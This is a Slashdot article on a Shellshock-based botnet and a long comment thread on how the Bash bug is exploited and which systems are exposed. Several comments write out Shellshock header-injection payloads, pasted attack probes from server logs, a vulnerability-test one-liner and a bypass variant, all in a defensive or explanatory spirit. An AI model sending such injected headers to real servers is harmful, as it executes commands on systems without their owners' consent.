First Shellshock Botnet Attacking Akamai, US DoD Networks

Bismillah writes The Bash "Shellshock" bug is being used to spread malware to create a botnet, that's active and attacking Akamai and Department of Defense networks. "The 'wopbot' botnet is active and scanning the internet for vulnerable systems, including at the United States Department of Defence, chief executive of Italian security consultancy Tiger Security, Emanuele Gentili, told iTnews. 'We have found a botnet that runs on Linux servers, named “wopbot", that uses the Bash Shellshock bug to auto-infect other servers,' Gentili said."

Comments

Confused.

[msauve]

Italian security consultancy Tiger Security, Emanuele Gentili, told iTnews. 'We have found a botnet that runs on Linux servers, named "wopbot"

Italian? wopbot?

I'm at a loss for words - other than that seems offensive, even for non-politically-correct me.

Re:Confused.

[satch89450]

Could this be a play on the name of the War Games computer, WOPR?

Re:Confused.

[wallsg]

Italian? wopbot?

I'm at a loss for words - other than that seems offensive, even for non-politically-correct me.

That's only for the PC crowd. This is Linux.

Re:Confused.

[fustakrakich]

Yes, and I keep on thanking my lucky stars that SATA came along to rescue us from the IDE plantation.

Re:Confused.

[Anonymous Coward]

Unless you're personally offended, it's retarded to say that it seems offensive.

Re:Confused.

[pouar]

You're probably getting downvoted for calling him a twat, not for correcting him.

its on !

[johnjones]

no venerability should be without a logo :

  https://twitter.com/johnjonesname

quality reporting! 16.7 addresses!

[Anonymous Coward]

priceless excerpt: |The US DoD network in question is the 215.0.0.0/8 range, with approximately 16.7 addresses."

Re:quality reporting! 16.7 addresses!

[Zaiff Urgulbunger]

priceless excerpt: |The US DoD network in question is the 215.0.0.0/8 range, with approximately 16.7 addresses."

They're still using IPv2.1 - and it's maxed out!

Re:quality reporting! 16.7 addresses!

[nctritech]

They had plenty of time to upgrade to IP3.14 (colloquially known as "Internet Protocol Pie") in which the subnetting is determined by ternary ellipses.

Just kidding. They use a late 80s anti-piracy decoder wheel and some silly putty.

Whew ...

[CaptainDork]

... how many Linux servers are there?

Re:Whew ...

[Anonymous Coward]

most of the internet you figure it out

Re:Whew ...

[Anonymous Coward]

most of the internet

And there's not many D0D IP addresses, either ...

[CaptainDork]

From TFA:

The US DoD network in question is the 215.0.0.0/8 range, with approximately 16.7 addresses.

Bold is mine.

Question about how this works

[Anonymous Coward]

It seems that you need to have the ability to execute an arbitrary bash command to actually make use of this weakness. So does that mean that in order to run it in a remote machine, you need to already have access to that machine? I'm confused about how you can scan for vulnerable systems.

Re:Question about how this works

[dskoll]

Apache passes user-supplied content to CGI scripts as environment variables, so any CGI written in bash or that invokes bash (via system(), for example, on an OS that uses bash as /bin/sh) could be used as an exploit vector.

Re:Question about how this works

[Anonymous Coward]

It depends largely on weak web-facing CGI pages that don't sanitise inputs before passing them as arguments to a shell script.

Re:Question about how this works

[CaptainDork]

I don't know bullshit from wild honey about Linux, but the attack on the DoD is looking for Telnet.

Analysing the malware sample in a sandbox, we saw that the malware has conducted a massive scan on the United States Department of Defence Internet Protocol address range on port 23 TCP or Telnet for brute force attack purposes," ...

Re:Question about how this works

[brantondaveperson]

Rubbish. It certainly does not. It depends on inputs getting into environment variables which wind up eventually inside of bash. Which then goes "oh, look. code! I think I'll run that", and runs it.

Thanks bash.

Thash.

Re:Question about how this works

[_xeno_]

I'm confused about how you can scan for vulnerable systems.

You and everyone else.

The attack surface is "anywhere you can influence the values of environment variables prior to bash being run." Where exactly is that? Well...

The easiest example of that are CGI scripts, where the web server will set environment variables to values that are taken directly from HTTP headers. If the CGI script is a bash script (why would you do that?) or ever happens to fork out to a bash script in any way (that's more understandable), it's vulnerable.

But that's just one example. Any place a remote value gets stuck straight into an environment variable and a bash script gets run is vulnerable. And people are almost certainly going to slowly find more and more places where that's the case.

If you just want to know if you're vulnerable, there are one-liners that will determine if you're still vulnerable, but since the first fix didn't, chances are, you very well could be.

Re:Question about how this works

[_xeno_]

Well, Apache and literally every other CGI container since that's how CGI works: the HTTP environment (headers and various other stuff) is passed to the script being executed via specifically named environment variables.

Re:Question about how this works

[Anonymous Coward]

inputs getting into environment variables which wind up eventually inside of bash.

So we agree. Good-o.

Re:Question about how this works

[Anonymous Coward]

OK, so the minutiae of the attack will be different per site. That's interesting. How does one automate such a scan?

Re:Question about how this works

[_xeno_]

How does one automate such a scan?

Right now, I think they're just blindly hitting web servers with headers set to exploit the vulnerability and hoping they get lucky. So less of a "scan" and more of a "spray and pray" type deal.

I think some versions of Apache shipped with a cgi-bin that contained a shell script as an example, so that would be another thing to try hitting first.

Re:Question about how this works

[grcumb]

inputs getting into environment variables which wind up eventually inside of bash.

So we agree. Good-o.

No, you twit. Bash will read the environment variables sent to it by CGI, which populates the environment parameters before you can sanitise the inputs. By the time you're ready to begin parsing and sanitising, the damage is already (potentially) done.

The implications of this are far-reaching, and the only way to be reasonably secure is to patch the bash executable.

Re:Question about how this works

[Anonymous Coward]

Nerd fight! Nerd fight!

Re:Question about how this works

[macs4all]

It depends largely on weak web-facing CGI pages that don't sanitise inputs before passing them as arguments to a shell script.

So this is the bash rough equivalent to an SQL Injection Exploit?

Re:Question about how this works

[Anonymous Coward]

but if you don't do something stupid like eval your those environment variables it doesn't turn into such a mess.

Re:Question about how this works

[Anonymous Coward]

Or bash could not accept functions in environment variables or export them. since the ability to pass bash functions through the environment is not an often used feature. This is what the patch essentially tries to do, but in a very weak way. Rather than addressing the fundamental architectural flaw.

Maybe it's time to switch to ksh or zsh.

Re:Question about how this works

[Anonymous Coward]

It's an exceptionally commonly used feature to have functions pass through to sub-shells that get invoked in a script whether due to explicit sub-shell syntax with parentheses or implicitly in pipelines or other control blocks with I/O redirection on them.

What's broken is that the functions are passed through in such a grotesquely unsafe way via the same environment namespace that regular applications would use, rather than setting up an appropriate IPC mechanism between the parent and sub-shell.

Re:Question about how this works

[Anonymous Coward]

Yes, with the extra bonus of programs outside of the application programmers control parses the input without sanitation.

Re:Question about how this works

[Anonymous Coward]

Namecalling. What a hero.

Re:Question about how this works

[Anonymous Coward]

We knew 15 years ago, that using shell-scripts as CGI-scripts was a security problem.There's just so many ways for a not perfectly quoted variable to become a script injection.

And for those who system() - if you are doing that without validating user input - and those header environment variables ARE user input - you just failed security 101.

So, can anyone explain to me how to use this bug, without using an existing vulnerability to get to it?

I see two groups of people, one group exclaiming that this is a serious vulnerability, without being able to explain how it's a vulnerability, and the other (including myself) saying that it's not a vulnerability, because you need to already have a vulnerability to get to it.

Re:Question about how this works

[Anonymous Coward]

Only if you let the web server call bash directly.

Yeah, we did that 15 years ago. And we knew back then it was a security hole. I hope we have learned to take security a bit more seriously than 15 years ago.

I'm still waiting for an example of how to get to this so-called vulnerability, without using a different security hole to get to it. Either some moron letting the web server call bash directly, or someone not sanitizing his inputs.

Re:Question about how this works

[pantaril]

but if you don't do something stupid like eval your those environment variables it doesn't turn into such a mess.

Your CGI script doesn't need to do anything at all. The rogue code injected into the env. variables is parsed and executed by bash when it sets-up the environment for your script.

Re:Question about how this works

[pantaril]

I'm still waiting for an example of how to get to this so-called vulnerability, without using a different security hole to get to it. Either some moron letting the web server call bash directly, or someone not sanitizing his inputs.

I disagree that using shell CGI scripts should be considered security hole any more than using CGI scripts written in any other language, but if you want other examples of exploiting this bug you can do it via malicious DHCP responses processed by dhcpclient or by env. variables passed when loging in via SSH.

Re:Question about how this works

[AlterEager]

but if you want other examples of exploiting this bug you can do it via malicious DHCP responses processed by dhcpclient or by env. variables passed when loging in via SSH.

Wow, an exploit that lets someone logging in with SSH run shell commands. Scary.

Re:Question about how this works

[nblender]

I see two groups of people, one group exclaiming that this is a serious vulnerability, without being able to explain how it's a vulnerability, and the other (including myself) saying that it's not a vulnerability, because you need to already have a vulnerability to get to it.

I'm with you. I've been trying to figure out what the exact attack vectors are here. The only thing I'm realistically worried about is what pieces of shit PHP code are out there running galleries, forums, blogs, etc, that call out to shell... I'm thinking a creative USER_AGENT string may be a good way to get unfiltered user data into $SHELL... I think in the short term, I'm not worried about dhclient-script because I don't have a linux laptop but if I did, I don't find myself attaching to random wifi hotspots, and if I did, it'd be at a pub which is unlikely to, in the short term, find themselves compromised...

Does php even use a CGI connector these days?

I must not be a good sekurity eckspert because I'm not seeing the world-ending exploit here.

Re: Question about how this works

[O('_')O_Bush]

I'm not sure why you felt the need to blame the victim on this, but the reality is that this is a problem not because of lax security measures on the part of server maintainers, but because it allows attackers to bypass good security measures if the shell being used is Bash.

And, because the exploit makes services such as SSH vulnerable, it can be used even if normal modes of passing data to the server are sanitized.

Re:Question about how this works

[Anonymous Coward]

The HTTP_PROTOCOL variable isn't often checked by scripts, but it allows the payload to execute.

Re:Question about how this works

[coofercat]

There are other vectors - in fact, any place that the website code (be it C, PHP, Java, Perl, whatever) runs another program *via* the shell. It depends on the language as to how this can happen. In perl, if you don't specify the full path to the thing you're calling, and you don't use a list for each argument then it'll go via the shell as a helper to make it do what you want. Obviously, anywhere you've called something as "sh -c /some/path/thing", then you're also going via the shell.

Simply calling something via the shell (or calling a shell script) isn't enough - you also need to pass some environment variables populated with user input. This seems incredibly unlikely except in CGIs. In most cases, you'd probably pass some command line arguments (maybe from user input), and you might statically set an environment variable or two (perhaps for a password or something). Those aren't a problem - it's only user input.

For anyone running CGI, you're most likely at risk. For anyone not doing so, you're probably not at risk, but code review will tell you for sure. This is no heartbleed (as the media seem to be making out), but it's pretty serious for anyone vulnerable.

As for how to scan for it - well, good luck there, it could be anywhere, and it could be nowhere. You'd literally have to scan every single URL on a site to find a problem - and even then you might still miss it.

Re:Question about how this works

[nblender]

Case in point, perhaps...

Mediawiki has:

$wgDiff3 = "/usr/bin/diff3";

Maybe nobody uses Mediawiki anymore...

Re: Question about how this works

[O('_')O_Bush]

"I'm still waiting for an example"

So, instead of doing what everyone else did and look up what was vulnerable and how shell shock could be exploited in SSH (which NIST specifically mentions), you chose to make up a bullshit idea about how it could be exploited that conveniently fit your "holier than thou" attitude about security and argue from ignorance about the exploit.

Good call.

Re:Question about how this works

[Anonymous Coward]

So this is the bash rough equivalent to an SQL Injection Exploit?

Roughly. With the special feature that http headers also count as input that has to be sanitized, because the user-agent string is an environment variable that bash will happily execute if properly formatted.

Re:Question about how this works

[Anonymous Coward]

but if you don't do something stupid like eval your those environment variables it doesn't turn into such a mess.

No, that's not how how this exploit works. They don't have to do anything other than spawn the shell.

Re:Question about how this works

[mean pun]

I disagree that using shell CGI scripts should be considered security hole any more than using CGI scripts written in any other language (snip)

Shells are notoriously difficult to use securely. So much so that for example suid is often not honoured on shell scripts. And that's because of the documented behaviour of the shells. The newly discovered bug in the Bourne shell makes it particularly easy to write an exploit, but even based on just the documented behaviour you're either a fool or a genius if you think you can write secure shell scripts.

It may be true that it is perfectly safe to cross the Niagara over a steel cable if you're trained well enough, but normal people are nevertheless advised to just use the bridge.

Re:Question about how this works

[jedidiah]

No. The problem is that bash allows functions to be defined AND run in a variable declaration. It's the classic case of muddling the line between data and programs. This is what allows a remote exploiter to feed anything they like into your copy of bash.

Defining functions in environment variables seems like a weird idea. Is anyone crazy enough to use that and if so then why?

Re:Question about how this works

[jriding]

http-header = Cookie:() { :; }; ping -c 3 209.126.230.74
http-header = Host:() { :; }; ping -c 3 209.126.230.74
http-header = Referer:() { :; }; ping -c 3 209.126.230.74

The ping command makes the remote server ping that destination. Commanding the server to ping not respond to a ping. That is a none destructive test of an apache web site.

Re:Question about how this works

[LessThanObvious]

What about Mac OSX DHCP client?

Re:Question about how this works

[Anonymous Coward]

Unlike the BSDs and Linux, OSX uses the ipconfig agent. It doesn't use a shell process, the agent does its processing internally.

Re:Question about how this works

[MikeBabcock]

At no point are you not in control of the environment variables in question; unless you're allowing unsanitized input of course.

Re:Question about how this works

[Anonymous Coward]

Wrong.

You are not in control of the environment variables until your sanitizing code begins to execute, which is after bash has already interpreted the environment variables and potentially done the naughty things.

It doesn't matter how diligent you are in your sanitizing.

Your control is triggered too late in the process.

Re:patched my servers last month

[Anonymous Coward]

For which bug are you referring?

CVE-2014-6271, or CVE-2014-7169? It seems yesterdays 'fix', might not have 'fixed' everything!

Suspicious screenshot

[dskoll]

The screenshot in that article shows the shell prompt as "root@debian". But in reality, most Debian systems use "/bin/dash" as the default system shell instead of /bin/bash, which means most Debian systems are extremely hard to compromise; a CGI or system() call would have to go out of its way to invoke bash instead of dash.

Re:Suspicious screenshot

[OrangeTide]

You assume that you can only get to root through the path that login and su take. Running a program as root, like your dhcp client, then having it launch a shell script that has "#!/bin/bash" is sufficient to get there. and no step along the way were you in the dash environment.

Re:Suspicious screenshot

[Anonymous Coward]

that's actually incorrect.

Re:Suspicious screenshot

[dskoll]

Didn't I just say that? You'd have to explicitly invoke #!/bin/bash. I know of very few scripts that do that; most use #!/bin/sh.

Re:Suspicious screenshot

[AlterEager]

Didn't I just say that? You'd have to explicitly invoke #!/bin/bash. I know of very few scripts that do that; most use #!/bin/sh.

Well, on my Debian unstable machine:

# find / -mount -type f | while read x ; do if [ "`head -1 $x | grep '^#\!/bin/bash'`" ]; then echo $x; fi; done 2>/dev/null
/bin/zdiff
/bin/fgrep
/bin/zgrep
/bin/zless
/bin/zfgrep
/bin/uncompress
/bin/zcmp
/bin/gzexe
/bin/gunzip
/bin/zegrep
/bin/zforce
/bin/zmore
/bin/zcat
/bin/egrep
/bin/znew
/etc/bash_completion.d/pulseaudio-bash-completion.sh
/etc/auto.net
/etc/auto.smb
/etc/init.d/minissdpd
/etc/init.d/nfs-common
/var/lib/dpkg/info/bash-completion.postinst
/var/lib/dpkg/info/grub-pc.preinst
/var/lib/dpkg/info/grub-pc.postrm
/var/lib/dpkg/info/ca-certificates-java.postinst
/var/lib/dpkg/info/gdm3.prerm
/var/lib/dpkg/info/desktop-base.postinst
/var/lib/dpkg/info/grub-pc.postinst
/var/lib/dpkg/info/bash-completion.postrm
/var/lib/dpkg/info/grub-pc.prerm
/var/lib/dpkg/info/dash.preinst

Ugly.

Re:Suspicious screenshot

[Anonymous Coward]

If you're running minissdpd for UPnP & SSPD then you care less about security than pretty much anyone else running debian.

But otherwise I get a pretty similar list on debian stable.

I used a simpler but equivalent find command when I did it: find / -xdev -type f -perm /111 -print0 | xargs -0 grep -l '^#!/bin/bash'

Only the beginning

[Solozerk]

It's not the only botnet being constructed, see my comment here - already 653 exploited servers there right now.
This is quite bad - as long as a bash CGI script is found by probing, exploiting only require putting a bash command in a header such as "Cookie:" for it to be executed. And this is only through HTTP - there are also aready other proof of concepts exploiting this through other bash-using services (DHCP servers for example).
You can check if you've been scanned for exploitable CGIs using something like (adjust apache logs path accordingly):

grep cgi /var/log/apache2/access*|egrep "};|}\s*;"

And you can check if your bash is vulnerable using:

env x='() { :;}; echo vulnerable' bash -c 'echo Testing...'

If 'vulnerable' appears, it is.

Re:Only the beginning

[Imagix]

That's DHCP clients, not DHCP servers.

Re:Only the beginning

[Anonymous Coward]

Actually, systemd is pretty careful about not just throwing environment variables all over the place when starting services. If you are using systemd to manage your network cards, they are very likely NOT vulnerable to any type of dhcp attack.

Re:Only the beginning

[Solozerk]

Would there be any way for that probe to execute against a static 404 page - no cgi executing?

No - there actually need to be a bash CGI script for it to work; as long as you have only 404 codes you are fine.

Re:Only the beginning

[Solozerk]

My bad - indeed it is.

Re:Only the beginning

[Anonymous Coward]

Ubuntu's 2nd update for shellshock (bash 4.3-7ubuntu1.2 == version 4.3.11(1)-release) is still vulnerable to:

export X='() { (a)=>\'
bash -c 'wtf date'
cat wtf

Re: Only the beginning

[peppepz]

FreeBSD is vulnerable to this attack as much as Linux, or Windows. It's a bug in an application, not in the OS.

Re: Only the beginning

[philip.paradis]

You're incorrect. The default shell is tcsh on FreeBSD, and bash isn't even installed by default.

Re:Only the beginning

[Anonymous Coward]

Thanks for the info! I do appreciate it!

Re: Only the beginning

[peppepz]

I'm correct. Linux has no concept of a "default shell", being an operating system kernel, and its security wrt this bug is the same as FreeBSD or OSX. That is, it's completely orthogonal, contrary to what the post I was responding to was implying.

Re:Only the beginning

[VValdo]

only on 14.04... 1.3 is coming, I'm told..

Re:Only the beginning

[geckoFeet]

Yay! I have been scanned - but my little webserver doesn't run any cgi scripts, so they got 404'd. They were looking specifically for defaultwebpage.cgi:

root@stinky:/home/gecko# grep cgi /var/log/apache2/access*|egrep "};|}\s*;" /var/log/apache2/access.log:89.207.135.125 - - [25/Sep/2014:02:28:52 -0400] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 319 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Re:Only the beginning

[Anonymous Coward]

Thanks!

p.s. Confirmed fixed in 4.3-7ubuntu1.3 on Ubuntu 14.04.1
GNU bash, version 4.3.11(1)-release (x86_64-pc-linux-gnu)

Re: Only the beginning

[sg_oneill]

Yes but your nitpicking to evade a perfectly reasonable point.

The absolute vast majority of Linux distros and OSX have bash enabled by default.

That is not true of the majority of (Non OSX) BSD variants however.

Re:Only the beginning

[Anonymous Coward]

I had the same exact probe on 3 webservers in the US. Fortunately, that source IP is in one of the many foreign ranges I have denied.

I'm wondering if anyone has reported those IPs to the block owners?

Re: Only the beginning

[philip.paradis]

No, you're incorrect, and you're making yourself look worse now. Put down the shovel. Let's review, starting with your original post:

FreeBSD is vulnerable to this attack as much as Linux, or Windows. It's a bug in an application, not in the OS.

An "OS" (operating system) is more than a bare kernel, at least for the systems being discussed in this scope, and this is certainly the case for the overwhelming majority of general purpose computers on our planet. "Linux" in this context refers to operating system distributions which include a Linux kernel and various assortments of userland software, much as FreeBSD/Mac OS X/Windows/etc consists of a kernel and other software. Operating systems do indeed have a concept of a default shell, and this may be expressed as simply as a filesystem link from /bin/sh to whatever program is designated as the default, or it may be a default in another sense such as the default shell assigned to a user account upon its creation if no particular login shell is specified.

The default installed set of software (the "applications") will vary between distributions, and if a vulnerable application (Bash in this case) is not installed, the server running said operating system environment cannot be exploited via any vulnerabilities which may exist in that application. If an administrator chooses to install a particular bit of software, the system then may become exposed to security vulnerabilities in said software, but the important distinction being made here is that computers are not vulnerable to bugs for software which isn't installed. Most popular distributions Linux systems install Bash by default, and it is frequently the default shell.

This is really very simple. Are you still having trouble with comprehension? I suspect you may be attempting to act in a pedantic manner here, but you're doing a poor job of it if that's the case.

Re:Only the beginning

[Anonymous Coward]

Huh, I got one too, trying to ping the same IP: /var/log/apache2/access.log:hosted-by.snel.com - - [25/Sep/2014:03:19:21 -0600] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 1028 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

Hmm, if that IP were bombarded with single pings from all kinds of non-vulnerable IPs, it might make the collection less useful.

Re: Only the beginning

[Anonymous Coward]

You are an id10T

Your lack of understanding of the BSD's is monumental.

Re:Only the beginning

[tlhIngan]

I too got scanned.

But because I know I didn't want to sit around patching my webserver continually, I disabled all CGI scripts and stick wi th static content. (Not being a web developer, I didn't do CGI scripting anyways.

198.20.69.74 - - [25/Sep/2014:14:55:28 +0000] "GET / HTTP/1.1" 200 667 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"
198.20.69.74 - - [25/Sep/2014:14:58:20 +0000] "GET / HTTP/1.1" 200 667 "() { :; }; /bin/ping -c 1 104.131.0.69" "() { :; }; /bin/ping -c 1 104.131.0.69"

Hrm. My index.html page is also static, too.

Re: Only the beginning

[Anonymous Coward]

Also /bin/sh isn't just a link to /bin/bash (or on BSDs /usr/local/bin/bash).

Re: Only the beginning

[Anonymous Coward]

FreeBSD is vulnerable to this attack as much as Linux, or Windows.

Incorrect.

Linux has no concept of a "default shell", being an operating system kernel, and its security wrt this bug is the same as FreeBSD or OSX.

Then why did you mention Linux? Why not mention the distributions such as Suse or RedHat? You have no concept of what FreeBSD represents based on your statements.

FreeBSD is both a kernel and a distribution, it does not use the Linux kernel. It was derived from 386BSD, which was a port of BSD for the 80386. FreeBSD traces it lineage back to the original BSD released in 1977.

FreeBSD comes with two shells, the Bourne compatible /bin/sh (system shell) originally written by Kenneth Almquist in 1989 under the BSD license and the C compatible and BSD licensed /bin/tcsh (user shell). The only way FreeBSD would be vulnerable on a system level would be if the administrator installed Bash to replace /bin/sh, but they would have to do that manually because ports are installed by default in /usr/local. This means DHCP-client is not normally susceptible. It would still be possible for a third party software package dependent on Bash to present an attack vector, but the system administrator would have to go out of their way to make this happen. Apache is not part of the core distribution, it is available in ports.

OSX does not use the Linux kernel. Although OSX traces its history back to BSD (with the Mach kernel thrown into the mix), its default system and user shell is indeed Bash.

To recap, out of the box FreeBSD is not vulnerable, while OSX is vulnerable.

Re: Only the beginning

[philip.paradis]

Please elaborate. I'm deeply troubled by the possibility that my understanding of BSD-based systems might be flawed, since I've been operating a significant amount of infrastructure based on OpenBSD and FreeBSD for over a decade.

Re: Only the beginning

[peppepz]

Debian doesn't. Ubuntu doesn't. Anything embedded doesn't. OSX does. There's nothing to "laugh at Linux" for, because even leaving aside the fact, as huge as a house, that this is not a bug of Linux, we must take into account that Bash isn't used on all Linux distributions, is used on many non-Linux unices, and can be installed on non-Unix systems where it'll see environment variables too. I also register with amusement the fact that OSX gets pulled by the coat into the BSD family when it's time to calculate market share, but is carefully set aside now that the distinction is convenient.

Re: Only the beginning

[philip.paradis]

Some environments do indeed link /bin/sh to a shell binary of choice. Others use things like dpkg-divert (Debian-based systems) to manage which binaries get run for certain commands, and under FreeBSD default shell selection is typically accomplished via "chsh -s /usr/local/bin/whatevershell" after installing the desired shell (probably via the ports collection). What was your point again?

Re: Only the beginning

[jones_supa]

Debian doesn't. Ubuntu doesn't.

At least I get a Bash shell when I start a Terminal in Ubuntu 14.04.

Re: Only the beginning

[peppepz]

ls -l /bin/sh , that's what your scripts are going to use. It should be dash.

Re: Only the beginning

[jones_supa]

Ah okay, that's correct.

Re: Only the beginning

[philip.paradis]

You fail to appreciate the difference between Linux and Bash

Wrong. The difference is clear, but it's also clear you lack any semblance of understanding that terms have implications depending on context. Please tell us all how many Linux-based systems you operate that run only a bare kernel.

You fail to appreciate the fact that no, the most popular Linux distributions don't ship with Bash as the default shell.

Wrong. While Debian and Ubuntu (along with various other Debian derivatives) ship with dash as the default interactive shell, here's a nice (non-exhaustive) list of highly popular distributions which use Bash as the default:

• Red Hat
• Fedora
• openSUSE
• Mageia
• Arch
• Slackware

and the Karma Bonus

Who cares about that?

doing the condescendent and attacking me personally

Wrong. It's not personal, really. I don't care who you are, but I do care that you made an overt attempt at muddying the waters by acting in an overly pedantic fashion, when said pedantry was clearly in error given the context of the discussion. You can always phone RMS up if want to have a nice "omg yes Linux is not GNU and GNU is not Linux" conversation. That particular point has no value in this context, as the discussion here is on complete operating systems, not bare kernels.

then you had better get your facts right

My facts are in order. Are you tired of digging yet? You can always put down the shovel.

Re: Only the beginning

[philip.paradis]

Part of my last comment was actually wrong, but you probably won't like the reason it was wrong. While Debian and Ubuntu use dash as the default system shell, Bash is still the default interactive (login) shell. Reference the output of "echo $SHELL" at a prompt on a vanilla Debian or Ubuntu server. I'm sure you'll appreciate this, as I agree it's always important to get our facts right. Cheers.

Re: Only the beginning

[philip.paradis]

Please reference the output of "echo $SHELL" in your terminal. Unless you've changed it, Bash (via /bin/bash) is still your default interactive shell. You can change your shell if you like.

Re: Only the beginning

[philip.paradis]

Please explain how scripts which specify #!/bin/bash on the shebang line are going to use something else. An awful lot of scripts have that as their first line.

Re:Only the beginning

[philip.paradis]

While Bash isn't the default system shell on FreeBSD (nor is it even installed by default), I certainly hope you're at least using "pkg audit" with things you install from the ports collection, as package signing is only just now available with pkgng and it isn't required. If we're going to have a discussion on things related to security, these points should probably be brought up.

Re: Only the beginning

[peppepz]

Certainly not in a distribution which does not have bash as the system shell. You can uninstall bash in such a distribution, and the system is expected to continue running.

Re: Only the beginning

[reikae]

Unless I'm badly mistaken, the default interactive shell isn't relevant in the "Shellshock" case. If an attacker has a login shell already, they need to find a setuid shell script explicitly using bash in order to gain more privileges.

Re: Only the beginning

[Anonymous Coward]

I also register with amusement the fact that OSX gets pulled by the coat into the BSD family when it's time to calculate market share, but is carefully set aside now that the distinction is convenient.

I have never seen this even by the BSD folks. I think you are delusional.

For most users OSX will have no exposure even though it has the vulnerable Bash. It does not use dhclient nor does it use a shell for processing DHCP, instead it uses the ipconfig agent. Sharing is disabled by default and this includes SSH. Only folks that explicitly run remote services or use the Server product will be exposed.

Re: Only the beginning

[peppepz]

Please tell us all how many Linux-based systems you operate that run only a bare kernel.

In the meantime I've told you how many Linux-based systems don't use bash as their default shell. The reality being opposite to your arbitrary statement that "the vast majority" of them do.

and the Karma Bonus

Who cares about that?

You should. Its purpose is to override other people's posts when you have something important to say.

Wrong. It's not personal, really.

[...]

You can always phone RMS up if want to have a nice "omg yes Linux is not GNU and GNU is not Linux" conversation.

Plonk.

That particular point has no value in this context, as the discussion here is on complete operating systems, not bare kernels.

Did he laugh about Debian/kFreeBSD? Did he laugh about OSX? Did he laugh about Cygwin or SUA? No, but he laughed about a minority subset of Linux distributions, and called them "Linux", having an uninformed reader believe that the bug is in Linux (it isn't) or that all Linux distributions are affected (many aren't). He was so aware of this fact, that he posted anonymously.

Which is not to say that this bug isn't serious, because it's huge. It's to say that this is not a "Linux bug", in any possible meaning of the phrase, strict or lax.

Re: Only the beginning

[philip.paradis]

Shellshock isn't really about elevating user account privileges (although that's certainly a common goal once unprivileged shell access is obtained). It's about gaining the ability to execute arbitrary commands as the user a Bash shell is running as. This is particularly bad for systems where the default system shell is /bin/bash, but it's also very bad for systems where users may be running network daemons under a normal user account. This is more common than you might think; developers frequently run things like node.js, various Ruby servers, etc in this manner. In the worst case event that /bin/bash is the default system shell, accounts such as "www-data" or "nobody" will likely use this shell for CGI request handoffs, meaning any input passed through CGI represents an opportunity to send a special payload down the pipe for execution in the context of that user account.

Re: Only the beginning

[philip.paradis]

Various common software packages explicitly specify #!/bin/bash in their init (and other) scripts. This is done to prevent problems in cases where the scripts in question must be run under Bash, in recognition of the facts that (1) /bin/sh may be arbitrarily remapped/diverted to any number of shells by system administrators, and (2) alternate shells such as dash are not 100% compatible with Bash.

As a simple example, the shebang line for Zimbra init scripts is #!/bin/bash.

Re: Only the beginning

[reikae]

My point was that I don't know why human users' login shell being bash in Debian would make the system more vulnerable to remote attacks; thus I was wondering why you thought it was relevant to point out that interactive users run bash by default. Your reply didn't really clarify that. Running servers from a bash shell shouldn't cause issues by itself. Unless maybe if the server spawns another shell instance based on $SHELL instead of using /bin/sh directly?

Re: Only the beginning

[philip.paradis]

In the meantime I've told you how many Linux-based systems don't use bash as their default shell. The reality being opposite to your arbitrary statement that "the vast majority" of them do.

In terms of the ratio of Linux distributions which use Bash as the default shell versus those that do not, the vast majority still use Bash. As I mentioned earlier, Debian-based distributions use dash as the default system shell, but Bash remains the default interactive shell, and many scripts specify #!/bin/bash in their shebang line.

That last bit is important, because we're living in times where an increasing number of developers are releasing code for network daemons which are designed to be easily run under unprivileged user accounts by those same users. Regardless of how secure the daemons themselves may be, the simple fact that they're executed with Bash as their parent process means they're vectors for system compromise from bugs like Shellshock. Should developers take additional measures to spawn their processes under a different shell? Perhaps, but only if problems like Shellshock are known, and should a similar bug be discovered in the true Bourne shell (or whatever else), we'd still be in the same position.

You should. Its purpose is to override other people's posts when you have something important to say.

The karma bonus posting option is enabled by default for a reason. When people who have an established track record of saying meaningful things (as determined by the up-modded metric) post comments, those comments are automatically ranked higher. Likewise, the moderation system provides for down-modding of any given comment, which has the side effect of karma reduction for the "offending" poster. The fact that you don't like what someone has to say is really of little consequence unless you have mod points; this is by design.

Did he laugh about Debian/kFreeBSD? Did he laugh about OSX? Did he laugh about Cygwin or SUA? No, but he laughed about a minority subset of Linux distributions, and called them "Linux", having an uninformed reader believe that the bug is in Linux (it isn't) or that all Linux distributions are affected (many aren't). He was so aware of this fact, that he posted anonymously.

Let's get a few things straight in terms of my perspective on this whole ordeal. Most of my infrastructure runs on Debian, and the remainder runs on FreeBSD, OpenBSD, and Solaris. I understand your sentiment in feeling offended at this situation being labelled a "Linux problem," and I think the original poster is a positive dickhead for what he wrote. That said, I recognize that the reality of the situation is that around the globe, most of the systems affected by this bug will be Linux-based servers. There's no escaping this fact, as unfortunate as it may be. Given these circumstances, it is very much a "Linux problem," regardless of the fact that the kernel isn't to blame.

For a little perspective, I do infosec for a living (spending a fair amount of my time developing exploits from scratch, in fact), and I'm a senior guy who is intimately involved with promulgating guidance for rapidly patching a ridiculous number of servers against this sort of problem across several datacenters spanning multiple continents. It sucks, but software isn't perfect. We do what we have to do in situations like this and keep moving.

Re: Only the beginning

[Anonymous Coward]

Finally some comment that makes sense here. It's incredible how many people do not have a clue about the difference between Linux and the many Unix variants out there.

Re: Only the beginning

[philip.paradis]

I'll add a note that a couple of network daemons I've recently authored are designed to be started under any given shell, including Bash, but they also communicate over raw TCP sockets instead of CGI, get exec-ed into a shell with an explicitly blank environment (blank as in "no environment vars are set whatsoever"), chroot themselves to a safe filesystem with noexec specified for the mount, drop privileges to "nobody" (again, with no env vars available and hence nothing for the shell to parse), mlock their process memory, and run under Perl's hard taint mode which requires regex whitelist examination of any externally supplied data before it may be used by the process. Optimally, these daemons should be run under a grsec kernel that provides additional protections, including making chroots far more bulletproof than they normally are under Linux, but I don't hard fail for lack of that.

The trouble is simply that most developers don't think about these things.

Re: Only the beginning

[peppepz]

I have never seen this even by the BSD folks. I think you are delusional.

Look at the comments of every slashdot story about some BSD, when the topic of market share comes out.

I won't post links to individual comments here, because I would find it both rude and pedantic.

For most users OSX will have no exposure even though it has the vulnerable Bash.

It depends on wether /bin/sh points to bash on OSX.

It does not use dhclient nor does it use a shell for processing DHCP, instead it uses the ipconfig agent.

Not to mention the fact that if people are connecting their machines to rogue DHCP servers, they're compromised anyway.

Sharing is disabled by default and this includes SSH. Only folks that explicitly run remote services or use the Server product will be exposed.

It's not that the typical Linux distribution opens telnet to the world by default, either.

Re: Only the beginning

[peppepz]

